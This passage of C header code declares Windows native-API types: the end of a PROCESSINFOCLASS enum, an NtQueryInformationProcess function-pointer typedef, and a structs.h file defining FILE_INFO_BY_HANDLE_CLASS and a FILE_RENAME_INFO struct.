    ProcessEffectivePagePriority, // q: ULONG
    MaxProcessInfoClass
} PROCESSINFOCLASS;

typedef NTSTATUS(WINAPI* fnNtQueryInformationProcess)(
    HANDLE           ProcessHandle,
    PROCESSINFOCLASS ProcessInformationClass,
    PVOID            ProcessInformation,
    ULONG            ProcessInformationLength,
    PULONG           ReturnLength
    );

#endif // !STRUCTS

structs.h

#pragma once

#include <Windows.h>

typedef enum _FILE_INFO_BY_HANDLE_CLASS {
    FileBasicInfo,
    FileStandardInfo,
    FileNameInfo,
    FileRenameInfo,
    FileDispositionInfo,
    FileAllocationInfo,
    FileEndOfFileInfo,
    FileStreamInfo,
    FileCompressionInfo,
    FileAttributeTagInfo,
    FileIdBothDirectoryInfo,
    FileIdBothDirectoryRestartInfo,
    FileIoPriorityHintInfo,
    FileRemoteProtocolInfo,
    FileFullDirectoryInfo,
    FileFullDirectoryRestartInfo,
    FileStorageInfo,
    FileAlignmentInfo,
    FileIdInfo,
    FileIdExtdDirectoryInfo,
    FileIdExtdDirectoryRestartInfo,
    FileDispositionInfoEx,
    FileRenameInfoEx,
    FileCaseSensitiveInfo,
    FileNormalizedNameInfo,
    MaximumFileInfoByHandleClass
} FILE_INFO_BY_HANDLE_CLASS;

typedef struct _FILE_RENAME_INFO {
    BOOLEAN ReplaceIfExists;
    HANDLE  RootDirectory;
    DWORD   FileNameLength;
    WCHAR   FileName[MAX_PATH];
} FILE_RENAME_INFO, * PFILE_RENAME_INFO;